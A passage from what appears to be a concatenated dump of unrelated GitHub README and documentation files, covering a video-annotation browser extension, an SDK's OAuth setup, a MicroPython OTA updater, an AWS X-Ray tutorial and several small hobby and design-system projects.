   you a copyright strike via Content ID.

2. Hulu attempts to prevent any and all modification of their website via the
   extensions you run. They recently removed the comments section and continue
   to move toward a one directional experience.

3. Netflix has never been built to be a bi-directional product, there is no
   community space and even ratings are laundered in an algorithm. It's content
   library shifts monthly without any say from the users.

What we need is a platform for critique, art, and entertainment which is
only connected to the original content by a timecode. Once we separate and
design software that connects the two, we can once again have a mutual
relationship with the content we enjoy.

Plopdown is the platform I'm building to do exactly that. It's is a way
to inject specially crafted tracks into any HTML5 video as a web extension,
annotate it, edit it down, add picture-in-picture, you name it. It doesn't
have all these capabilities yet, but that's the vision I want to achieve.

If you share this vision, I'd love to work and collaborate with you!

## Who am I

I'm a UI Developer based out of Baltimore, Maryland. I've been working
in the web industry in various capacities since 2009.

## What is Plopdown today

We have a fully working extension which scans for videos, saves those
references, and allows you to associate them with a track. Whenever
you click on the extension button on a page, it will initialize
that track on top of the video.

Tracks currently support the following cues:

- **Info**: Show a title screen for your track, with authors and a
  link to your website.
- **Plop**: Popup Video inspired annotations for trivia and fun facts.
- **Audio**: Overlay and synchronize mp3 files with the playing video.

All features are fully manageable, configurable, and tested,
but definitely need tweaking and UX improvements.

## Architectural Decisions

Throughout the proof of concept phase, I had to make some hard choices
to build something I'd like to support for the next 10+ years. I'm sure
I'll grow to hate at least some of these decisions down the road, but
at this moment in time it makes sense:

### I went with Angular

I'm a little biased, I use Angular with my team, but I actually started this
project in Vue. I switched away from Vue as soon as I hit my first refactor.
I struggled to rebuild big parts of the application because Vue allowed me
to do everything and nothing. I know I probably could have done this in React
or continued with Vue, but because of the following reasons I decided against that:

1. **I want to be able to pick up and put down this project quickly** I have a life
   and a career, I want to be able to take 3 hours and throw a new feature in without
   a lot of ramp up, I find Typescript + Angular allows me to do that.

2. **I want to get better with RxJS** I'm constantly learning new things with RxJS
   and it consistently challenges me. The fact that angular provides it out of the box
   for a project that is literally dealing with a bunch of streaming events is the
   perfect way for me to practice as well as solve a technical problem effectively.

3. **I eventually need amazing infrastructure** Web Extensions are hard. managing
   messages between multiple running applications is hard. Ensuring and maintaining
   proper error handling, code style, testing and readability, these are all extremely
   hard things. For all the boilerplate Angular requires, it does ensure an solid
   foundation for exactly that.

There are some serious issues with Angular for this particular project that I had
to overcome:

1. **Angular's Change Detector** Zone.js doesn't know anything about the web extension
   API and the event's they emit. Any callbacks or promises need to be wrapped (and you
   need to know how to wrap them manually). Although I've done that, this is still
   quite an annoying bug to track down for most developers that'll probably cause
   issues in the future.

2. **Lack of Angular WebExt Ecosystem** There isn't a lot of other people's web extension projects to
   fall back on for approach or informing design decisions, we're on our own in a lot
   of respects.

3. **Angular needs Rampup** Just by going with Angular I'm probably alienating a lot
   of frontend developers, and for that I'm sorry. To develop on this extension, you are
   going to need to learn Typescript, RxJS and know the basics of Angular. I'm not
   expecting perfection though, and I'll be happy to help.

### I went with an NX monorepo

Every component of a web-extension is designed as a separate application. The browser-action
popup needs to talk to the background script, which needs to talk to the content scripts, etc.
All of these applications while running in separate execution environments, are indeed
tightly coupled to work together to perform some pretty elaborate eventing.

If I change the message for the popup app, I want to know that it breaks the background app,
and I want to find these cross project issues as quickly as possible. I also want to
share libraries between these apps without copying stuff over, and make sure that I have
a scalable way of testing/building only the projects that need to be updated.

[NX](https://nx.dev/angular) is a no-brainer for all this. We're never going to build
anything outside of Javascript, as this will always be designed as a web extension,
and it gives us a bunch of tools specifically for maintaining lots of different libraries
and applications (including this very website).

### I don't want analytics

You will find no privacy policy on this website or on the extension because I don't
collect any data. I promise you that I will never record your behavior, A/B test you,
or generate statistics on what you watch.

This is a tool for creating content, not surveillance.

I'm depending on users to volunteer me feedback in our github issues:
<https://github.com/spaceribs/plopdown/issues>

### I do want syndication

The ONLY data sync with the rest of the community that does ping back to any sort
of centralized service will be the main syndication feed. I plan on keeping that
populated with awesome tracks from creators and notifying you with a badge on
the extension that a track is available for the content you're watching.

The approach for this will be a once-a-day sync with the main content feed.
Queries to determine which page your on and what content you're watching will
all be done locally against your local copy of this feed. You will also be
able to setup your own feed or turn this feature off entirely.

## Special Thanks

I want to give a special shoutout to the following people for helping me get
this project across the finish line in no particular order:

- **[The Order of the League](https://orderoftheleague.com/)** - These guys have been
  a huge help and support as my alpha testers for audio cues. Because of them, I have
  my main creator persona to get the most valuable features out for.
- **[WhyThePlatypus](https://github.com/whytheplatypus/)** - for helping me work
  out the more annoying kinks, and overall approach.
- **[SuicideJack](https://github.com/suicidejack)** - for the initial inspiration
  into even looking at the WebVTT spec.
- **My Wife** - for keeping me grounded in reality and supporting me and this project
  for the last couple of months. I love you!
- **Sam Small** - For always making me strive towards a mix of perfection and delivery.
- **[Maura Brewer](https://vimeo.com/user2470144)** - My sister, giving me crucial
  feedback so she can use Plopdown in her own video work.
- **My Parents** - For listening and supporting my creative rantings and ravings.

repository: whytheplatypus/plopdown

repo_name: whytheplatypus/plopdown


text:
---
layout:      example
title:       "Usage in Browsers"
categories:  example
description: "Browser Usage"
---

# A Note on Browsers

Ciscospark is fully browser compatible but we don't distribute a browserified bundle at this time; you'll need to build the bundle yourself. We use [browserify](http://browserify.org/) internally and [webpack](https://webpack.github.io/) should work as well. We recommend using browserify or webpack for your project. If you prefer to load the `ciscospark` via a script tag, please follow the instructions in the [README](https://github.com/ciscospark/spark-js-sdk/blob/master/packages/ciscospark/README.md)

# OAuth

Since you don't want to compile your access token into your web app, for everyone to use, you'll need to ask users to enter a username and password (don't worry, we've taken care of the hard parts for you).

Before you can login with OAuth, you'll need to register a new application on the [developer portal](https://developer.ciscospark.com). While you won't be compiling *your* access token into your app, you will need to compile some of these values in.

When you build the sdk, make sure to set the environment variables:
- `CISCOSPARK_CLIENT_ID`
- `CISCOSPARK_CLIENT_SECRET`
- `CISCOSPARK_REDIRECT_URI`
- `CISCOSPARK_SCOPE`

In your application, kick off a login flow with `ciscospark.authorize()`. This will direct the browser to our login service.

Once the user logs in, we'll redirect them back to your app; the SDK will take care of grabbing the access token from the response and initializing with it.

Your credentials will be cached to `localStorage` automatically. Previous to<EMAIL_ADDRESS>you were responsible for caching your credentials. For more details on the storage layer, take a look at [Storage Layer]({{ site.baseurl }}{% post_url 9999-03-01-storage-layer %})

The first network request you make will refresh the access token if it's expired. Alternatively, you can force a refresh.

```javascript
spark.refresh({force: true})
  .then(function() {
    // credentials have been refreshed
  });
```

repository: patwhite/spark-js-sdk

gha_language: JavaScript

repo_name: patwhite/spark-js-sdk


text:
---
contains_map: False
---
# Timeline

Use the timeline component to show an ordered record of what has happened.

{{ designSystemExample({
"iframe": {
    "title": "An example of the timeline component",
    "url": "example.html",
    "size": "l"
},
"example": {
    "path": "digital-land/components/timeline"
}
}) }}

## Filtering a timeline

The timeline component can be progressively enhanced to allow filtering by date.

<img class="styleguide-gif" src="images/timeline-filter-video.gif">

We add this enhancement when the timeline has many entries and a user might need to find a specific one. An example of that can be seen on a [collection log page](https://digital-land.github.io/collection/brownfield-land/log/).

### Collector log example

The timeline component is good to use when you are showing a sequence of log entries.

{{ designSystemExample({
"iframe": {
    "title": "An example of the timeline component",
    "url": "example-collector.html",
    "size": "l"
},
"example": {
    "path": "digital-land/components/timeline"
}
}) }}

When the timeline has many entries you can use the `call` approach to generate the entries individually or via a loop.

## Research on this compponent

We need to do more research on this component. If you have used the timeline component, get in touch to share your research findings.

We will keep an eye on other services that use the timeline and hopefully get a better inderstanding of how timelines are being used across government. For example, it is used by [MoJ](https://moj-design-system.herokuapp.com/components/timeline).

repository: tombooth/design-system

repo_name: tombooth/design-system


text:
## Local Installation
1) clone the repo
2) enter the repo
3) run `docker-compose up -d`
4) exit using Ctrl-C or `docker-compose down`

## Execute Django Commands
`docker-compose run web python manage.py [CMD]`

## Create/Run Data Migrations
1) `docker-compose up -d`
2) `docker ps`, note container ID of backend_web image
3) `docker exec -it [CONTAINER_ID] bash`
4) `python manage.py makemigrations`, only necessary if changes made to models
5) `python manage.py migrate`
6) `exit` and `docker-compose down` whenever finished with application

repository: bestvibes/lahacks-quaranteen

gha_language: Java

repo_name: bestvibes/lahacks-quaranteen


text:
---
title: Bootstrap 4 - New Blog Theme
date: 2019-01-13 11:17:00 +00:00
categories:
- Projects
tags:
- jekyll
- blog
- pelican
Author: jamesleighton
status: published
image: "/images/bootstrap-logo.png"
layout: post
---

I decided last week that I really wanted a card based theme for my blog. After all, [cards are cool](https://www.intercom.com/blog/why-cards-are-the-future-of-the-web/).

After spending a few hours messing around with existing themes, and trying to customise them to my vision for what I wanted... someone at my local hackspace suggested I took a look at Bootstrap when I couldn't get them to generate valid HTML properly. This was cool because I got to learn something new (see [2019 goals](/2018/12/29/2019-goals/)!) but because Bootstrap is modern and responsive and made creating the cards I longed for super duper simple.

[Bootstrap](https://getbootstrap.com/) is a HTML/CSS/JS framework for building modern websites and applications, and I initially felt like the task was going to be enormous and promptly gave up when I couldn't get anything to work right away. It turned out with not very much effort I was able to make a pretty decent looking blog.

![Bootstrap 4](/images/bootstrap-logo.png){:class="img-fluid"}

The next day I reconsidered my efforts and set about building the blog from the ground up, and then implementing it into my new Jekyll theme after I had something that looked nice. This turned out to be a 'good idea'.

A few more hours later, I had the framework for how I envisaged the blog to look. We had the cards for blog posts on the home page, no pagination - because pagination annoys me - and a working navigation bar. I just needed to work on the post layout (the page you are reading now) and it turns out someone had done the hard work. I found [this template](https://github.com/blackrockdigital/startbootstrap-blog-post/) blog post available under an MIT licence ready to drop into Jekyll.

Turning my HTML template into a Jekyll theme was pretty site, and you can see how I did it by looking at the [Github repository](https://github.com/jleighton/jleighton.github.io) for this blog. I am planning to write a long form how-to guide for this but that will take a while. Pretty much you need to do the following:

* Split the layout into it's most basic form. Header, blog layout, sidebar, navbar, etc etc. Whatever makes the most sense.
* Add the header code to a file in the ```_includes``` folder, add the navbar code to another file, add the jumbotron code to yet another file, the footer code etc. You get the idea. You basically need to split out the theme so Jekyll knows what to include and where
* Create layout templates that live in ```_layouts```. These include your post template, the default home page, a blank page that just has the Bootstrap scaffolding (see [Travel Map](/uk-travel-map) page). These layout templates will reference the files in ```_includes```.
* These templates are reference in your markdown content so Jekyll can render your content how you want it to.

The idea of having the layout logic separated as much as possible into discrete files is that it makes updating your sidebar or the way you want the post cards to display super easy and less error prone.

[This post](https://jekyllrb.com/tutorials/convert-site-to-jekyll/) from the official Jekyll site gives a good run down of how this process of theme creation works, and is worth the read. Before you start, I would definitely try to have a full understanding of how Jekyll works under the hood plus a decent working knowledge of HTML & CSS.

To theme my blog I used [Bootswatch United](https://bootswatch.com/united/) which is a theme for Bootstrap. Long time readers much recognise the colour; my old Pelican blog used the same theme! Using Bootstrap themes is as simple as adding the CSS link to your header. There are loads of different themes available but I just love orange.

    <!-- Optional theme -->
    <link href="https://stackpath.bootstrapcdn.com/bootswatch/4.2.1/united/bootstrap.min.css" rel="stylesheet" integrity="sha384-integrity-code-here" crossorigin="anonymous">
    <!-- End Optional theme -->

I am pretty happy with the blog as it stands, but there are always things to improve. I am still looking a decent commenting solution that isn't Disqus and doesn't require my commenters to have Gitub accounts. As always, if you have any suggestions please drop me a tweet! @geekyjames

### Features

- Card layouts for all blog posts based from one card template.
- Easy to generate a page for a specific category or tags.
- Home page is the about page, rather than the wall of blog posts.
- Fully responsive for desktop, tablet and mobile
- Orange!

![My blog homepage](/images/blog-history-most-recent.png){:class="img-fluid"}


text:
---
layout: post
title:  "Week 4: Remix"
date:   2021-10-10 09:17:00 -0700
categories: [lesson, activity]
---

## Lesson

1. Remixing a Scratch Project.

## Activity: Remix

1. Login to Scratch with your Code Club account.
2. Open the Week 3 Studio.
    * Select your account name in the upper right.
    * Select "My Class"
    * Scroll down to "Class Studios".
    * Select Week 3.
3. Find a project you would like to remix.
4. Remix it!
    * Select the green "Remix" button.
    * Change the code.
    * Select the orange "Share" button.
    * Write about what you changed in the "Notes and Credits" section on the
      project page.
    * Select "+ Add to Studio" in the lower right, then select "Week 4
      Remixes!" and select "Okay".

## Resources

### Videos

[Scratch Tips - Remixing a Project](https://www.youtube.com/watch?v=_NY8SOengc0){:target="_blank"}


text:
# You Get a Car

#### By: Michael Burton

## Technologies Used

>* _Html_
>* _CSS_
>* _JQuery_
>* _JavaScript_
>* _Node_
>* _Webpack_
>* _Jest_
>* _Eslint_
>* _Babel_
>* _APIs_
>* _C# with net5 framework_
>* _MySQL_
>* _MySQLWorkbench_
>* __
>* __

## Description

An app that generates most commonly drawn lotto numbers and displays them to the user so as to get rich quickly.
This project also has an API that was built and seeded with 'false data' to be able to test the Client side application.

## Setup/Installation Requirements

1. Open terminal
2. input these commands into command line:

>* cd desktop
>* git clone https://github.com/Michael-Burton1/YouGetACar.git
>* cd YOUGETACAR
>* code .

## Known Bugs

>* _As of now, cannot able to build API_
---
## Proposal
_View My proposal for MVP and Strech goals [HERE](PROPOSAL)._
## License
_Licensed under the [MIT License](LICENSE)._

## Contact Information
>_Michael Burton at<EMAIL_ADDRESS>


text:
# @leafygreen-ui/checkbox

## 6.0.6

### Patch Changes

- Updated dependencies [b8f03aa1]
  -<EMAIL_ADDRESS>
## 6.0.5

### Patch Changes

- bed50770: Fixes broken Checkbox logic, where any value supplied to the `indeterminate` prop was overwritting `checked` prop

## 6.0.4

### Patch Changes

- Updated dependencies [047c1930]
- Updated dependencies [047c1930]
  -<EMAIL_ADDRESS>  -<EMAIL_ADDRESS>
## 6.0.3

### Patch Changes

- Updated dependencies [90321b36]
  -<EMAIL_ADDRESS>
## 6.0.2

### Patch Changes

- ee7923d3: Changes how we extend the types of HTMLElements, and standardizes how we document this across readmes
- Updated dependencies [ee7923d3]
  -<EMAIL_ADDRESS>
## 6.0.1

### Patch Changes

- dac3f38b: Fixes a publishing error that prevented UMD modules from being distributed
- Updated dependencies [dac3f38b]
  -<EMAIL_ADDRESS>
## 6.0.0

### Major Changes

- 0267bfd2: The underlying structure of distributed module definition files have changed and now have official support for ES modules. Module definition files are now generated using Rollup instead of Webpack. This should not affect functionality, but some thorough testing and caution should be exercised when upgrading.

### Patch Changes

- Updated dependencies [0267bfd2]
  -<EMAIL_ADDRESS>  -<EMAIL_ADDRESS>
## 5.0.0

### Major Changes

- 02ee0c05: Deprecates `variant` prop and adds `darkMode` prop to determine whether or not Checkbox appears in dark mode.

## 4.1.1

### Patch Changes

- 463a338: Fixes 'aria-checked' value when Checkbox is indeterminate such that the value is `mixed` rather than `false` per WAI-ARIA spec

## 4.1.0

### Minor Changes

- 7605c17: Add prop to disable animations

## 4.0.4

### Patch Changes

- 691eb05: Better support for UMD
- Updated dependencies [691eb05]
  -<EMAIL_ADDRESS>  -<EMAIL_ADDRESS>
## 4.0.3

### Patch Changes

- 6aadc0b: Make id generation deterministic using IdAllocator.create class. This improves the SSR compatibility of these components.
- Updated dependencies [6aadc0b]
  -<EMAIL_ADDRESS>
## 4.0.2

### Patch Changes

- Updated dependencies [2eba736]
- Updated dependencies [1aa26ee]
- Updated dependencies [a571361]
  -<EMAIL_ADDRESS>
## 4.0.1

### Patch Changes

- 2a03117: Upgrades @testing-library/react to v10 and revises test suites to conform with new standards

## 4.0.0

### Major Changes

- 464c09d: Introduces SSR compatibility though a change to our build process and files

### Patch Changes

- Updated dependencies [464c09d]
  -<EMAIL_ADDRESS>  -<EMAIL_ADDRESS>
## 3.2.1

### Patch Changes

- 4de039a: Makes component compliant with a11y standards

## 3.2.0

### Minor Changes

- 8f568bf: Adds a disabled + checked state to checkbox.

### Patch Changes

- 55f904f: Positions input inside the boundary of parent label

repository: necoline/leafygreen-ui

repo_name: necoline/leafygreen-ui


text:
---
title: "Pick of the Litter: A Vacation On... the International Space Station?!"
author<EMAIL_ADDRESS>tags: ["aching","POTL"]
date: 2017-12-23 19:36:25
description: "The 'Hound is sniffing out cool innovations for you.  Journey Most goals we have are destinations. They manifest as a lifestyle we desire, a type of person we want to be with...   Read More  Multiplic..."
---

The 'Hound is sniffing out cool innovations for you.

[http://clausehound.com](http://clausehound.com)

Journey

 Most goals we have are destinations. They manifest as a lifestyle we desire, a type of person we want to be with...

[Read More](https://blog.clausehound.com/late-night-musings/)

[Multiplicity's](http://multiplicity.media) What's Cool Weekly

[https://futurism.com/russia-space-tourism-luxury-hotel-in-orbit/](https://futurism.com/russia-space-tourism-luxury-hotel-in-orbit/)

[A Vacation On... the International Space Station?!](https://futurism.com/russia-space-tourism-luxury-hotel-in-orbit/)

[https://www.livescience.com/61235-chaos-and-chloroform.html](https://www.livescience.com/61235-chaos-and-chloroform.html)

[Reversing Entropy with Chloroform](https://www.livescience.com/61235-chaos-and-chloroform.html)

[https://www.theverge.com/2017/12/21/16804992/microsoft-windows-10-windows-hello-bypass-security](https://www.theverge.com/2017/12/21/16804992/microsoft-windows-10-windows-hello-bypass-security)

[Windows Hello Facial Recognition Beaten By Photo ](https://www.theverge.com/2017/12/21/16804992/microsoft-windows-10-windows-hello-bypass-security)

[https://blog.clausehound.com/from-beyonce-beer-to-the-upside-down-when-are-you-permitted-to-reproduce-an-existing-work-of-art/](https://blog.clausehound.com/from-beyonce-beer-to-the-upside-down-when-are-you-permitted-to-reproduce-an-existing-work-of-art/)

Deal Negotiator's Handbook:

[ From Beyoncé Beer to the Upside Down: When Are You Permitted to Reproduce an Existing Work of Art ](https://blog.clausehound.com/from-beyonce-beer-to-the-upside-down-when-are-you-permitted-to-reproduce-an-existing-work-of-art/)

Pick of the Litter

[https://blog.clausehound.com/ocad-university-grads-tackle-skateboarding-fears-with-primo/](https://blog.clausehound.com/ocad-university-grads-tackle-skateboarding-fears-with-primo/)

 Enterprise Toronto

[ OCAD University Grads Tackle Skateboarding Fears with Primo](https://blog.clausehound.com/ocad-university-grads-tackle-skateboarding-fears-with-primo/)

[https://blog.clausehound.com/how-to-unlock-the-power-of-entrepreneurship/](https://blog.clausehound.com/how-to-unlock-the-power-of-entrepreneurship/)

 TwentyThirty

[ How to Unlock the Power of Entrepreneurship](https://blog.clausehound.com/how-to-unlock-the-power-of-entrepreneurship/)

[https://blog.clausehound.com/new-training-opportunity-entreinvestor-training-program/](https://blog.clausehound.com/new-training-opportunity-entreinvestor-training-program/)

 University-Industry Liason Office

[New Training Opportunity - Entreinvestor Training Program](https://blog.clausehound.com/new-training-opportunity-entreinvestor-training-program/)

Shake paws with us at these upcoming events:

January 8th, [HackerNest Kitchener-Waterloo January Tech Social](https://blog.clausehound.com/hackernest-kitchener-waterloo-january-tech-social/), at Terminal (Atomic Co-Working Space)

January 10th, [YEDI Global Start-Up Missions](https://blog.clausehound.com/global-start-up-missions/), winning participants win a free 2-week training program in Israel!

January 22nd, [HackerNest Brampton January Tech Social](https://blog.clausehound.com/hackernest-brampton-january-tech-social/), at Rose Theatre

Feb 10 - 11th, [Fishackathon](https://blog.clausehound.com/fishackathon/), in 55 cities worldwide

[BLOG](http://blog.clausehound.com)

[https://twitter.com/Clausehound](https://twitter.com/Clausehound)

[https://www.linkedin.com/company/clausehound](https://www.linkedin.com/company/clausehound)

[https://www.youtube.com/channel/UCyXJb5j3l4mqCw1xKoU6IFA](https://www.youtube.com/channel/UCyXJb5j3l4mqCw1xKoU6IFA)

.gridDesc{transition: all .5s; padding-left: 3px; padding-right: 3px;padding-bottom: 10px;}.socialIcon{float:left; width: 25%;transition: all .5s;}.eventTitle{margin: 24px 0;}.eventsAndMedia{ margin:auto;max-width: 590px; font-size: 14px;transition: all .5s;overflow: auto;}.gridImage{width:197px; height:140px; margin: 0; }.imageGridBox{width: 33%; border-collapse: collapse;font-size: 14px;transition: all .5s; display: block; float: left; width: 33%; overflow: hidden;}@media screen and (max-width: 639px){.socialIcon{width: 50%;}.imageGridBox{width: 100%;clear: both;}.gridImage{width: 100%;height: auto;}}

repository: JaninaFe/clausehound-blog

repo_name: JaninaFe/clausehound-blog


text:
# MicroPython OTA Updater

## Overview

Based off of [Joshua Bellamys fork of rdehuyss's MicroPython OTA Updater](https://github.com/smysnk/micropython-ota-updater).

Unlike these previous projects (which offer OTA updates from GitHub repositories) this project provides MicroPython OTA updating from a Gogs repository. [Gogs](https://gogs.io , https://github.com/gogs/gogs) is a Git server similar to a subset of GitHub or GitLab, written in golang, and lightweight enough to be deployed on a Raspberry Pi.

Also this variant is focused on nodes which are MQTT clients.

After boot, a connection to an MQTT broker is attempted. If it fails, the system reboots after a short wait. I. e. the process will only continue once the MQTT broker is accessible.

Then the updater (`update.py`) is called, checks the designated branch for updates and downloads them if HEAD is not current (other release strategies may be added later).

Finally, the node software stored on the pyboard (and possibly just updated OTA) is launched.
However, a watchdog process is launched as well which the node software has to feed regulary.
If it stops to do so (e.g. because the node software has crashed), the watchdog will reset the pyboard, and the process bgins anew.

Thus an OTA update can be triggered for all nodes by stopping the MQTT broker for a short while.

## Hardware compatibility

This software was tested on ESP32 only and will likely not work on ESP8266.

## Getting started

Create `src/wifisettings.py` by editing `src_wifisettings.py.template` and filling in WiFi credentials and DNS name of the pyboard.

Create `src/nodesettings.py` by editing `src_nodesettings.py.template` and editing Gogs remote repository, branch , and a Gogs access token generated in Gogs' user management.

Deploy!

For an example implementation check out the [???] project.

## Deployment

`make install` # Install local Python dependencies (rshell & esptool)

`make erase` # Erase ESP32

`make image` # Install MicroPython on ESP32

`make rsync` # Install `updater` (contents of 'src' folder of this repo) to pyboard (root folder)

`make repl` # Opens a repl terminal to the ESP32

Power cycle (Ctrl-D) the ESP32, you should see the updater pull down HEAD of the configured branch on boot.

## Internals

Execution of `main.py` calls `updater.update()` checking `.version` file with the SHA of the latest commit.  If they are different it will create a new directory and pull down the `src` sub-directory of that repo.  Once complete, the old `src` directory is deleted and the new copy is moved in its place.  After that it will execute `src.main.start()` with environment settings passed in the "env" argument.

Note: main.py and boot.py in the pyboard's root directory are never overwritten by the OTA update; they remain as they were transferred by `make rsync` .
The OTA updater only installs into the 'src/' folder  of the pyboard.

## Secrets

The files `src/wifisettings.py` and `src/nodesettings.py` are used to store secrets that will be used to configure the pyboard's WiFi, or will be passed to `main.start()`, respectively. These files SHALL NOT be stored in the repository, and so they will not be updated via OTA. Thus they need to be transferred/updated manually by `make rsync` which will put them in the pyboard's root directory, where they won't be affected by OTA updates.


text:
# Setup Fresh FedoraOS Computer

## For Development use, easy setup via a single bash script

## Contains my configurations
	- Vim (Done)
	- JetBrains ToolKit (Done)
	- Vim Configured for Python (Done)
	- Docker (Done)
	- alien (Debian support) (Done)
	- Franz (Done)
	- Kubernetes(minikube) (TODO)
	- Deepin (Done)
	- Anaconda (Done)
	- chrome (Done)
	- Git setup and ssh setup (Done)
	- LastPass (Done)

## Single setup file to install everything
	- install.sh (TODO)

## Installation Instructions
```
git clone git@github.com:Nasdin/Setup_fresh_fedora_develop.git

cd Setup_fresh_fedora_develop

sudo bash install.sh
```


text:
[![Contributors][contributors-shield]][contributors-url]
[![Issues][issues-shield]][issues-url]

Building with Responsive Design

    Sixth Collaborative Microverse Project - Responsive design

    Explore the docs »

    View Demo
    ·
    Report Bug
    ·
    Request Feature

## About The Project

Collaborative project which object is to build a responsive clone of a news website, using raw CSS.

## Table of Contents

* [Built With](#built-with)
* [Use](#use)
* [Roadmap](#roadmap)
* [License](#license)
* [Contact](#contact)
* [Acknowledgements](#acknowledgements)

### Built With
This project was built using raw HTML and CSS.

### Screenshots
![Project Screen Shot][product-screenshot]

### Use

It's not a dynamic webpage, just a static one. So there is no use involved.

### Roadmap

See the [open issues](https://github.com/Fig77/Building-With-Responsive-Design--Facu-Josue/issues/issues) for a list of proposed features (and known issues).

### Contact

Facundo Iglesias - [Github profile](https://github.com/Fig77)

Josue Brigido - [Github profile](https://github.com/kalavhan)

Project Link: [Project repo](https://github.com/Fig77/Building-With-Responsive-Design--Facu-Josue)

### License

Distributed under the MIT License. See `LICENSE` for more information.

[contributors-shield]: https://img.shields.io/badge/Contributors-2-%2300ff00
[contributors-url]: https://github.com/Fig77/Building-With-Responsive-Design--Facu-Josue/graphs/contributors
[issues-shield]: https://img.shields.io/badge/issues-0-%2300ff00
[issues-url]: https://github.com/Fig77/Building-With-Responsive-Design--Facu-Josue/issues
[product-screenshot]: img/product_ss.jpg


text:
## Introduction

In this step, we are going to take [Step00](https://github.com/panacloud-modern-global-apps/full-stack-serverless-cdk/tree/main/stepxx_x-ray/step00_simple_lambda_tracing) to the next level by adding a new s3 node in the service map. and also figure out the error with the help of AWS X-Ray.

## Step 1

Install the following packages

```bash
npm install aws-sdk
npm install aws-xray-sdk-core
```

## Step 2

update the lambda function handler code (`lambda/app.ts`)

```javascript
import * as AWS from "aws-sdk";
import * as AWSXRay from "aws-xray-sdk-core";

import { APIGatewayEvent } from "aws-lambda";

exports.handler = (event: APIGatewayEvent) => {
  //variable that uses the sdk to record any s3 bucket activity in this application
  const s3 = AWSXRay.captureAWSClient(new AWS.S3());

  //this function list all the s3 buckets
  s3.listBuckets((err, data) => {
    if (data) {
      console.log("Success", data.Buckets);
    } else {
      console.log("Error", err);
    }
  });
};
```

In the above code, we imported `aws-xray-sdk-core` and create a variable that uses the SDK to record any s3 bucket activity in this application. then we execute a function that lists all the s3 buckets

## Step 3 (Optional)

#### This step is optional just to show you how x-ray helps us to figure out errors.

- Our CDK stack code is the same as in the [X-Ray stepp00](https://github.com/panacloud-modern-global-apps/full-stack-serverless-cdk/tree/main/stepxx_x-ray/step00_simple_lambda_tracing#step-1). we will update it later.
- Build the project and deploy it on cloudformation
- Open your function on lambda console and test it to generate traces on X-Ray
- Go to the `Monitoring` tab on you function select `View traces in X-Ray` it will redirect you to X-Ray Traces.
- Select one of the most recent traces to see detailed trace data resulting from our recent test activity.
- Here you can see the trace shows additional details about the S3 service since we configured our code to report that information. in this case, an access denied error is being reported
  ![trace s3 error](imgs/s3TraceError.png)

#### In Our case lambda does not have permission to access S3 bucket.

## Step 4

let's attach the S3 readonly policy to our lambda function with the help of CDK. to do that we have to install IAM package,`npm install @aws-cdk/aws-iam` then update the CDK stack code with the following

```typescript
// lib/step01_lambda_with_s3_tracing-stack.ts

//Create a specific role for Lambda function
const role = new iam.Role(this, "LambdaRole", {
  assumedBy: new iam.ServicePrincipal("lambda.amazonaws.com"),
});

//Attaching s3 read only access to policy
const policy = new iam.PolicyStatement({
  effect: iam.Effect.ALLOW,
  actions: ["s3:Get*", "s3:List*"],
  resources: ["*"],
});

//granting IAM permissions to a role
role.addToPolicy(policy);

new lambda.Function(this, "lambda-s3-x-ray-tracing", {
  runtime: lambda.Runtime.NODEJS_10_X,
  code: lambda.Code.fromAsset("lambda"),
  handler: "app.handler",
  // Enabling X-Ray Tracing
  tracing: lambda.Tracing.ACTIVE,
  role: role,
});
```

#### Now Deploy the stack.

## Step 5

Test the function again and check its most recent trace and you will find that the error resolved and everything should work fine.

repository: AreebSiddiqui/full-stack-serverless-cdk

repo_name: AreebSiddiqui/full-stack-serverless-cdk


text:
---
title: Scenes
layout: usermanual-page.hbs
position: 9
---

## Scenes

You can manage your scenes by opening the Scenes dialog.

You can open the Scenes dialog either by clicking on the 'Scenes' menu option in the menu:

![Scenes Menu][1]

Or by clicking on the Scenes Menu button on the top left inside the 3D viewport:

![Scenes Viewport][2]

This will open up the Scenes dialog:

![Scenes][3]

You can create a new scene by clicking on "ADD NEW SCENE", you can click on a scene to open it up and you can click on the buttons on the right of each scene to duplicate a scene or delete it. You can also click on the banner icon on the left to make it the first scene loaded when you publish an app or when you export your project. Think of it as the first 'level' in your application.

[1]: /images/user-manual/editor/scenes-menu.jpg
[2]: /images/user-manual/editor/scenes-viewport.jpg
[3]: /images/user-manual/editor/scenes.jpg

branch_name: refs/heads/dev


text:
# LightSpeed
A fun minigame of PVP but at insane speeds!

How it works:\
When players run, they start to accelerate until they reach a specific limit*.
They can gain speedpoints by running and killing other players(killing gives more)
which can be used to purchase kits

_*the limit can be modified by the kit that is chosen_

**Kits:**\
Default - The default kit\
Tank - Stronger armor but lower speed and acceleration\
Missile - No armor but higher max speed which can be reached immediately(no acceleration)!\
Archer - Decent armor, a bow and a knockback stick but no sword\
Jumper - Jump like a rabbit!\
Snowman - Throw snowballs and iceballs which deal damage and cause knockback\
Enderman - Teleport using ender pearls\
Alchemist - Use potions to deceive your opponents\
Batman - Surprise your opponents with a grappling hook!\
Pyromancer - Shoot fireballs and burn opponents who come too close to you\
Bomber - Create explosions with TNT!\
Zeus - Summon lightning to strike opponents within a radius\

**Commands:**\
/kit - open the kit gui\
/kit grant/revoke player kit\
/lightspeed speedpoints get/set player points\
/lightspeed spawns list - Display spawnpoints for current world\
/lightspeed spawns add - Add the current location to spawnpoints\
/lightspeed spawns remove - Remove spawnpoint at current location\
/lightspeed reload - Reload config


text:
---
title: Room Version 1
type: docs
weight: 10
---

This room version is the first ever version for rooms, and contains the
building blocks for other room versions.

## Client considerations

Clients may need to consider some algorithms performed by the server for
their own implementation.

### Redactions

Upon receipt of a redaction event, the server must strip off any keys
not in the following list:

-   `event_id`
-   `type`
-   `room_id`
-   `sender`
-   `state_key`
-   `content`
-   `hashes`
-   `signatures`
-   `depth`
-   `prev_events`
-   `prev_state`
-   `auth_events`
-   `origin`
-   `origin_server_ts`
-   `membership`

The content object must also be stripped of all keys, unless it is one
of one of the following event types:

-   `m.room.member` allows key `membership`.
-   `m.room.create` allows key `creator`.
-   `m.room.join_rules` allows key `join_rule`.
-   `m.room.power_levels` allows keys `ban`, `events`, `events_default`,
    `kick`, `redact`, `state_default`, `users`, `users_default`.
-   `m.room.aliases` allows key `aliases`.
-   `m.room.history_visibility` allows key `history_visibility`.

## Server implementation components

{{% boxes/warning %}}
The information contained in this section is strictly for server
implementors. Applications which use the Client-Server API are generally
unaffected by the intricacies contained here. The section above
regarding client considerations is the resource that Client-Server API
use cases should reference.
{{% /boxes/warning %}}

The algorithms defined here should only apply to version 1 rooms. Other
algorithms may be used by other room versions, and as such servers
